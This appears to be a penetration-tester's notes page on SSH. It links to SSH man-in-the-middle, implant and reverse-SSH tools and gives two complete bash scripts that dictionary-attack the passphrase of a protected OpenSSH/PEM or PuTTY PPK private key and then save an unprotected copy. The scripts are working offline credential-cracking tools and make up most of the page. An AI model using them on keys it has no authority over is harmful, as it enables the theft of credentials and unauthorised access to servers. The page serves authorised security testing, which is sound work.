> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ssh.md).

# SSH

* <https://blog.lexfo.fr/sshimpanzee.html>
* <https://github.com/lexfo/sshimpanzee>
* <https://github.com/ssh-mitm/ssh-mitm>

## Portable Clients

* <https://github.com/xct/winssh>
* <https://github.com/NHAS/reverse_ssh>

## Quicky Offline Private Key Crack

* <https://security.stackexchange.com/a/191122>

{% tabs %}
{% tab title="PEM/OpenSSH" %}
{% code title="pem-crack.sh" %}

```bash
#!/usr/bin/env bash
# pem-crack.sh passwords.txt root.protected root.priv

echo "Wordlist    : $1"
echo "PEM key     : $2"
echo "New PEM key : $3"
cp "$2" "$3" && chmod 600 "$3"

while read -r line
do
    err=$( (ssh-keygen -p -P "$line" -N '' -f "$3") 2>&1 )

    if [[ ! $err = *"incorrect passphrase"* ]]; then
        echo "Passphrase  : $line"
        echo "$err"
        break
    fi
done < "$1"
```

{% endcode %}
{% endtab %}

{% tab title="PuTTY PPK" %}
{% code title="ppk-crack.sh" %}

```bash
#!/usr/bin/env bash
# sudo apt install putty-tools -y
# ppk-crack.sh passwords.txt root.ppk.protected root.priv

echo "Wordlist    : $1"
echo "PEM key     : $2"
echo "New PEM key : $3"

touch /tmp/empty
while read -r line
do 
    echo "$line" > /tmp/w
    err=$( (puttygen "$2" -P -o "$3" --old-passphrase /tmp/w --new-passphrase /tmp/empty) 2>&1 )

    if [[ ! $err = *"wrong passphrase"* ]]; then
        echo "Passphrase  : $line"
        echo "$err"
        puttygen "$3" -O private-openssh -o "$3"
        break
    fi
done < $1

rm -f /tmp/w /tmp/empty
```

{% endcode %}
{% endtab %}
{% endtabs %}